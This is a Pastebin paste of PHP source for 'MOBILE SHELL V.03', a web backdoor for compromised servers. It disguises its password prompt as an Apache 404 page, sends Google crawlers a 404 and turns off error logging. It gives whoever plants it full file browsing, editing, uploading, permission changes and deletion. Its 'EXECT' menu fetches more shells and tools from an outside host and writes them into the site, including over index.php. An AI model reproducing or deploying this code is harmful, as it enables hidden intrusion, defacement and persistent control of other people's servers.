EddieKidiw

MOBILE SHELL V.03

Aug 15th, 2016
538
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 16.06 KB | None | 0 0
  1. <?php
  2. error_reporting(E_ALL^E_NOTICE);
  3. error_reporting(E_ALL);
  4. /* ( Mobile SheLL Coded By Wildan Izzudin | default pass: "robot") */
  5. $auth_pass = "63c762af1ff110e97f8b7cb925d36bf7";
  6. $color = "#00ff00";
  7. $default_action = 'FilesMan';
  8. @define('SELF_PATH', __FILE__);
  9. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  10. header('HTTP/1.0 404 Not Found');
  11. exit;
  12. }
  13. @session_start();
  14. @error_reporting(0);
  15. @ini_set('error_log',NULL);
  16. @ini_set('log_errors',0);
  17. @ini_set('max_execution_time',0);
  18. @ini_set('output_buffering',0);
  19. @ini_set('display_errors', 0);
  20. @set_time_limit(0);
  21. @set_magic_quotes_runtime(0);
  22. @define('VERSION', '2.1');
  23. if( get_magic_quotes_gpc() ) {
  24. function stripslashes_array($array) {
  25. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  26. }
  27. $_POST = stripslashes_array($_POST);
  28. }
  29. function printLogin() {
  30. ?>
  31. <title>404 Not Found</title>
  32.  <meta name="viewport" content="width=device-width, initial-scale=1">
  33. <h1>Not Found</h1>
  34. <p>The requested URL was not found on this
  35. server.</p>
  36. <hr>
  37. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
  38. <style>
  39. input { margin:0;background-
  40. color:#fff;border:1px solid #fff; }
  41. </style>
  42. <center>
  43. <form method=post>
  44. <input type=password name=pass>
  45. </form></center>
  46. <?php
  47. exit;
  48. }
  49. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  50. if( empty( $auth_pass ) ||
  51. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  52. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  53. else
  54. printLogin();
  55. @ini_set('log_errors',0);
  56. @ini_set('output_buffering',0);
  57. echo '<!DOCTYPE html>
  58. <html lang="en">
  59. <head>
  60.  <title>MOBILE SHELL V.03</title>
  61.  <meta charset="utf-8">
  62.  <meta namee="viewport" content="width=device-width, initial-scale=1">
  63.    <link rel="stylesheet" href="http://jokowi.zz.vc/bootstrap/custom.css">
  64.       <link rel="stylesheet" href="css/custom.css">
  65.  <link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
  66.    <link rel="stylesheet" href="css/bootstrap.min.css">
  67.  
  68. <style>
  69. .jembut {
  70. padding:5px;
  71. border-radius:0px;
  72. border:2px solid #ddd;
  73. margin:auto;
  74. }
  75. .w2 {
  76. padding:5px;
  77. border:2px solid #ddd;
  78. margin-top:2px;
  79. text-align:center;
  80. width:100%;
  81. font-weight:bold;
  82. margin:auto;
  83. }
  84. .brudul {
  85. border:px solid#303030;
  86. background:#222;
  87. color:#ddd;
  88. font-weight:bold;
  89. }
  90. .but {
  91. border:2px solid#ddd;
  92. background:#222;
  93. color:#ddd;
  94. font-weight:bold;
  95. margin:px;
  96. padding:5px
  97. }
  98. .brudul2 {
  99. border:2px solid#ddd;
  100. color:#222;
  101. font-weight:bold;
  102. padding:5px;
  103. }
  104. .dan {
  105. padding:3px;
  106. border:2px solid red;
  107. color:red;
  108. }
  109. .suc {
  110. padding:3px;
  111. border:2px solid green;
  112. color:green;
  113. }
  114. th { background:#222;color:#ddd;padding:5px; }
  115. </style>  
  116. <body background="http://jokowi.zz.vc/img/bg.png">
  117.  <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
  118.  <script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  119. </head>
  120. <body>
  121.             <div class="container main" role="main">
  122. <div class="w2 brudul" style="margin-bottom:2px">MOBILE SHELL V.03</div><div class="brudul2">';
  123. $host = 'http://'.$_SERVER['HTTP_HOST'];
  124. echo '<div class="btn-group btn-group-justified">
  125.         <a href="'.$_SERVER['PHP_SELF'].'" class="btn btn-default" style="background:#222; border-bottom:0px solid red; border-left:0px;border-right:0px;border-top:0px;color:#ddd;font-weight:bold">HOME</a>
  126.             <a href="http://ghostec.heck.in" class="btn btn-default" style="background:#222; border-bottom:0px solid red; border-left:1px solid #333;border-right:0px;border-top:0px;color:#ddd;font-weight:bold">BLOG</a>
  127.         <a href="?logout" class="btn btn-default" style="background:#222; border-bottom:0px solid #222; border-left:1px solid #333;border-right:1px solid #333;border-top:0px;color:#ddd;font-weight:bold">LOGOUT</a></div>
  128. <div style="paddingbackground:url(img/header.png)no-repeat"></div>
  129. <div class="brudul2" style="margin-top:2px;margin-bottom:2px;text-align:center;background:#fff">PWD :';
  130. if(isset($_GET['path'])){
  131. $path = $_GET['path'];
  132. }else{
  133. $path = getcwd();
  134. }
  135.     $path = str_replace('\\','/',$path);
  136.     $paths = explode('/',$path);
  137.  
  138. foreach($paths as $id=>$pat){
  139. if($pat == '' && $id == 0){
  140. $a = true;
  141. echo '/';
  142. continue;
  143. }
  144. if($pat == '') continue;
  145. echo '<a href="?path=';
  146. for($i=0;$i<=$id;$i++){
  147. echo "$paths[$i]";
  148. if($i != $id) echo "/";
  149. }
  150. echo '">'.$pat.'</a>/';
  151. }
  152. echo '</div>';
  153.  
  154. if(isset($_POST['x'])) {
  155. $rse = $_POST['file_name'];
  156. $zip = new ZipArchive ;
  157. if($zip ->open($path.'/'.$rse) === TRUE) {
  158. $zip ->extractTo($path);
  159. $zip ->close ();
  160. echo '<script> alert("Extract File Success !!")</script>';
  161. } else {
  162.     echo '<script> alert("Extract File Failed !!")</script>';
  163. }
  164. }
  165. echo '<table width="100%"><tr><td width="80%"><form method="POST" action=""><select name="file_name" class="brudul2" style="width:80%"><option>-- select --</option>';
  166. $scandir = scandir($path);
  167. foreach($scandir as $file){
  168. if(!is_file("$path/$file")) continue;
  169.  
  170. echo '<option>'.$file.'</option>';
  171.                 }
  172. echo '</select></td>
  173.         <td align="right">
  174.     <input type="submit" value="UNZIP" class="but" name="x" style=""></center></form></td><td align="right">
  175. <a href="'.$_SERVER['PHP_SELF'].'?wildan">  <input type="submit" value="EXECT" class="but"></center></td></tr></table>';
  176.  
  177. if(isset($_GET['wildan'])) { if($_POST['menu']=="xphp") {
  178. $rz = 'http://scripten.ga/data/x.txt';
  179. $fp = fopen("x.php", "w");
  180. $x = file_get_contents($rz);
  181. fwrite($fp, $x);
  182. fclose($fp);
  183. echo '<meta http-equiv="Refresh" content="0; URL=x.php">';
  184. }
  185. if($_POST['menu']=="indexphp") {
  186. $rz = 'http://scripten.ga/data/x.txt';
  187. $fp = fopen("index.php", "w");
  188. $x = file_get_contents($rz);
  189. fwrite($fp, $x);
  190. fclose($fp);
  191. echo '<meta http-equiv="Refresh" content="0; URL=index.php">';
  192. }
  193. if($_POST['menu']=="cpanelphp") {
  194. $rz = 'http://scripten.ga/data/cpanel.txt';
  195. $fp = fopen("cpanel.php", "w");
  196. $x = file_get_contents($rz);
  197. fwrite($fp, $x);
  198. fclose($fp);
  199. echo '<meta http-equiv="Refresh" content="0; URL=cpanel.php">';
  200. }
  201. if($_POST['menu']=="jumpphp") {
  202. $rz = 'http://scripten.ga/data/jump.txt';
  203. $fp = fopen("jump.php", "w");
  204. $x = file_get_contents($rz);
  205. fwrite($fp, $x);
  206. fclose($fp);
  207. echo '<meta http-equiv="Refresh" content="0; URL=jump.php">';
  208. }
  209. if($_POST['menu']=="adminerphp") {
  210. $rz = 'http://scripten.ga/data/adminer.txt';
  211. $fp = fopen("adminer.php", "w");
  212. $x = file_get_contents($rz);
  213. fwrite($fp, $x);
  214. fclose($fp);
  215. echo '<meta http-equiv="Refresh" content="0; URL=adminer.php">';
  216. }
  217. if($_POST['menu']=="pasirphp") {
  218. $rz = 'http://scripten.ga/data/pasir.txt';
  219. $fp = fopen("pasir.php", "w");
  220. $x = file_get_contents($rz);
  221. fwrite($fp, $x);
  222. fclose($fp);
  223. echo '<meta http-equiv="Refresh" content="0; URL=pasir.php">';
  224. }
  225. if($_POST['menu']=="xmlcphp") {
  226. $rz = 'http://scripten.ga/data/wildan.txt';
  227. $fp = fopen("xmlc.php", "w");
  228. $x = file_get_contents($rz);
  229. fwrite($fp, $x);
  230. fclose($fp);
  231. echo '<meta http-equiv="Refresh" content="0; URL=xmlc.php">';
  232. }
  233. echo '<hr><form action="'.$_SERVER['PHP_SELF'].'?wildan" method="post"><table width="100%"><tr><td width="70%"><select name="menu" class="brudul2" style="width:80%">
  234. <option>-- select --</option>
  235. <option value="xphp">Create File x.php</option>
  236. <option value="indexphp">Create File index.php</option>
  237. <option value="cpanelphp">Cpanel Finder </option>
  238. <option value="jumpphp">Jumping Checker</option>
  239. <option value="adminerphp">Adminer</option>
  240. <option value="pasirphp">Pasirmerah Shell</option>
  241. <option value="xmlcphp">Wildan Izzudin Shell</option>
  242. </select></td>
  243.         <td align="right">
  244.     <input type="submit" value="CREATE" class="but" style=""></center></form></td></tr></table>';
  245.     }
  246.    
  247.    
  248. echo '<hr>';
  249.  
  250. if(isset($_FILES['file'])){
  251. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  252. echo '<div class="alert alert-success"><center>Upload Success ^_^ </center></div>';
  253. }else{
  254. echo '<div class="alert alert-danger"><center>Upload Failed !!</center></div>';
  255. }
  256. }
  257. echo '<center><form enctype="multipart/form-data" method="POST"><input type="file" class="brudul2" name="file" style="width:100%"><input type="submit" class="but" style="width:100%;margin-top:3px" value="&uarr;&uarr;"></form></center>';
  258.  
  259. if(isset($_GET['filesrc'])){
  260. echo "<br><tr><td>Current File : ";
  261. echo '<br><div class="brudul2" style="margin-top:px;margin-bottom:2px;text-align:center;border:2px solid #279ddd">';
  262. echo $_GET['filesrc'];
  263. echo '</div>';
  264. echo '</tr></td></table><br />';
  265. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  266. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  267. echo '</table><br /><center><div class="brudul2" style="margin-top:px;margin-bottom:px;text-align:center;border:2px solid #279ddd"><tt>'.$_POST['path'].'</tt></div><br /><br />';
  268. if($_POST['opt'] == 'chmod'){
  269. if(isset($_POST['perm'])){
  270. if(chmod($_POST['path'],$_POST['perm'])){
  271. echo '<div class="alert alert-success">Change Permission Done</div>';
  272. }else{
  273. echo '<div class="alert alert-danger"> Change Permission Error</div>';
  274. }
  275. }
  276. echo '<form method="POST">
  277. Permission : <input name="perm" type="text" class="brudul2" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  278. <input type="hidden" name="path" value="'.$_POST['path'].'">
  279. <input type="hidden" name="opt" value="chmod">
  280. <input type="submit" class="but" value="Go" />
  281. </form>';
  282. }
  283. else if($_POST['opt'] == 'rename'){
  284. if(isset($_POST['newname'])){
  285. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  286. echo '<div class="alert alert-success"> Change Name Done</div>';
  287. }else{
  288. echo '<div class="alert alert-danger">Change Name Error </div>';
  289. }
  290. $_POST['name'] = $_POST['newname'];
  291. }
  292. echo '<form method="POST">
  293. New Name : <input name="newname" type="text" class="brudul2" size="20" value="'.$_POST['name'].'" />
  294. <input type="hidden" name="path" value="'.$_POST['path'].'">
  295. <input type="hidden" name="opt" value="rename">
  296. <input type="submit" class="but" value="Go" />
  297. </form>';
  298. }
  299.  
  300. else if ($_POST['opt'] == 'edit'){
  301. if(isset($_POST['src'])){
  302. $fp = fopen($_POST['path'],'w');
  303. if(fwrite($fp,$_POST['src'])){
  304. echo '<div class="alert alert-success">Edit File Done !</div>';
  305. }else{
  306. echo '<div class="alert alert-danger">Edit File Error ! </div>';
  307. }
  308. fclose($fp);
  309. }
  310. echo '<form method="POST">
  311. <textarea class="form-control brudul2"
  312. rows="20"  name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea>
  313. <input type="hidden" name="path" value="'.$_POST['path'].'">
  314. <input type="hidden" name="opt" value="edit">
  315. <input type="submit" class="but" value="Save !" style="margin-top:3px"/>
  316. </form>';
  317. }
  318. echo '</center>';
  319. }else{
  320. echo '</table><br /><center>';
  321. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  322. if($_POST['type'] == 'dir'){
  323. if(rmdir($_POST['path'])){
  324. echo '<div class="alert alert-success"> Delete Dir Done </div>';
  325. }else{
  326. echo '<div class="alert alert-danger"> Delete Dir Error </div>';
  327. }
  328. }elseif($_POST['type'] == 'file'){
  329. if(unlink($_POST['path'])){
  330. echo '<div class="alert alert-success"> Delete File Done </div>';
  331. }else{
  332. echo '<div class="alert alert-danger"> Delete File Error </div>';
  333. }
  334. }
  335. }
  336. echo '</center>';
  337. $scandir = scandir($path);
  338. echo '<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="">
  339. <tr class="first">
  340. <th><center>Name </center></th>
  341. <th><center>Size </center></th>
  342. <th><center>Options </center></th>
  343. </tr>';
  344.  
  345. foreach($scandir as $dir){
  346. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  347. echo "<tr>
  348. <td><img src='data:image/png;base64, R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA'> <font color='#222'> <a href=\"?path=$path/$dir\">[ $dir ]</a></td>
  349. <td><center><font color='#222'>
  350. --</font></center></font></td>";
  351.  
  352.  
  353.  
  354. echo "<td style=text-align:right><form method=\"POST\" action=\"?option&path=$path\">
  355. <select name=\"opt\" class=\"but\">
  356. <option value=\"\"></option>
  357. <option value=\"delete\">D</option>
  358. <option value=\"chmod\">C</option>
  359. <option value=\"rename\">R</option>
  360. </select>
  361. <input type=\"hidden\" name=\"type\" value=\"dir\">
  362. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  363. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  364. <input type=\"submit\"  class=\"but\" value=\">\" />
  365. </form></center></td>
  366. </tr>";
  367. }
  368. foreach($scandir as $file){
  369. if(!is_file("$path/$file")) continue;
  370. $size = filesize("$path/$file")/1024;
  371. $size = round($size,3);
  372. if($size >= 1024){
  373. $size = round($size/1024,2).' MB';
  374. }else{
  375. $size = $size.' KB';
  376. }
  377.  
  378. echo "<tr>
  379. <td><img src='data:image/png;base64,R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA'> <font color='green'> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  380. <td><center><font color='#222'>".$size."</font></center></td></font><center>";
  381. echo "
  382. <td style=text-align:right><form method=\"POST\" action=\"?option&path=$path\">
  383. <select name=\"opt\" class=\"but\">
  384. <option value=\"\"></option>
  385. <option value=\"delete\">D</option>
  386. <option value=\"chmod\">C</option>
  387. <option value=\"rename\">R</option>
  388. <option value=\"edit\">E</option>
  389. </select>
  390. <input type=\"hidden\" name=\"type\" value=\"file\">
  391. <input type=\"hidden\" name=\"name\" value=\"$file\">
  392. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  393. <input type=\"submit\" class=\"but\" value=\">\" />
  394. </form></center></td>
  395. </tr>";
  396. }
  397. echo '</table></div>';
  398. }
  399. if (isset($_GET['logout'])) {
  400. session_start();
  401. session_destroy();
  402. echo '<meta http-equiv="Refresh" content="0; URL='.$_SERVER['PHP_SELF'].'"/>';
  403. }
  404. echo '</div>';
  405. echo '<div class="brudul2" style="margin-top:2px"><center><form action="" method="post">
  406. <input type="text" class="brudul2" name="kata" value="" style="margin-right:3px" size="27">
  407. <input type="submit" class="but" name="ndir" value="ND">
  408. <input type="submit" class="but" name="nfil" value="NF"></form></center></div>';
  409.  
  410. //Make directory stuff
  411. if (isset($_POST['ndir'])) {
  412.     $dir = $_POST['kata2'];
  413.     $fold = $_POST['kata'];
  414.     $cdir = $_POST['kata'];
  415.     if (is_dir($path.'/'.$cdir)) {
  416.         echo '<script>alert("Directory Already Exist");</script>';
  417.     } else {
  418.         if(mkdir($path.'/'.$cdir, 0777)) {
  419.            echo '<script>alert("Directory Created ^_^");</script><meta http-equiv="Refresh" content="0; URL=?path='.$path.'"/>';
  420.         } else {
  421.             echo '<script>alert("Directory Was Not Created !!");</script>';
  422.         }
  423.     }
  424. }
  425. if(isset($_POST['nfil'])) {
  426.     $cfile = $_POST['kata'];
  427.     if (file_exists($path.'/'.$cfile)) {
  428.         echo '<script>alert("File Already Exist !!");</script>';
  429.     } else {
  430.         if(fopen($path.'/'.$cfile, "w+")) {
  431.             echo '<script>alert("Newfile Created ^_^");</script><meta http-equiv="Refresh" content="0; URL=?path='.$path.'"/>';
  432.         } else {
  433.            echo '<script>alert("Newfile Was Not Created !!");</script>';
  434.         }
  435.     }
  436. }
  437. echo '<div class="w2 brudul" style="margin-top:2px">CODER BY WILDAN IZZUDIN</div>';
  438. function perms($file){
  439. $perms = fileperms($file);
  440. if (($perms & 0xC000) == 0xC000) {
  441. // Socket
  442. $info = 's';
  443. } elseif (($perms & 0xA000) == 0xA000) {
  444. // Symbolic Link
  445. $info = 'l';
  446. } elseif (($perms & 0x8000) == 0x8000) {
  447. // Regular
  448. $info = '-';
  449. } elseif (($perms & 0x6000) == 0x6000) {
  450. // Block special
  451. $info = 'b';
  452. } elseif (($perms & 0x4000) == 0x4000) {
  453. // Directory
  454. $info = 'd';
  455. } elseif (($perms & 0x2000) == 0x2000) {
  456. // Character special
  457. $info = 'c';
  458. } elseif (($perms & 0x1000) == 0x1000) {
  459. // FIFO pipe
  460. $info = 'p';
  461. } else {
  462. // Unknown
  463. $info = 'u';
  464. }
  465. // Owner
  466. $info .= (($perms & 0x0100) ? 'r' : '-');
  467. $info .= (($perms & 0x0080) ? 'w' : '-');
  468. $info .= (($perms & 0x0040) ?
  469. (($perms & 0x0800) ? 's' : 'x' ) :
  470. (($perms & 0x0800) ? 'S' : '-'));
  471. // Group
  472. $info .= (($perms & 0x0020) ? 'r' : '-');
  473. $info .= (($perms & 0x0010) ? 'w' : '-');
  474. $info .= (($perms & 0x0008) ?
  475. (($perms & 0x0400) ? 's' : 'x' ) :
  476. (($perms & 0x0400) ? 'S' : '-'));
  477. // World
  478. $info .= (($perms & 0x0004) ? 'r' : '-');
  479. $info .= (($perms & 0x0002) ? 'w' : '-');
  480. $info .= (($perms & 0x0001) ?
  481. (($perms & 0x0200) ? 't' : 'x' ) :
  482. (($perms & 0x0200) ? 'T' : '-'));
  483. return $info;
  484. }
Add Comment
Please, Sign In to add comment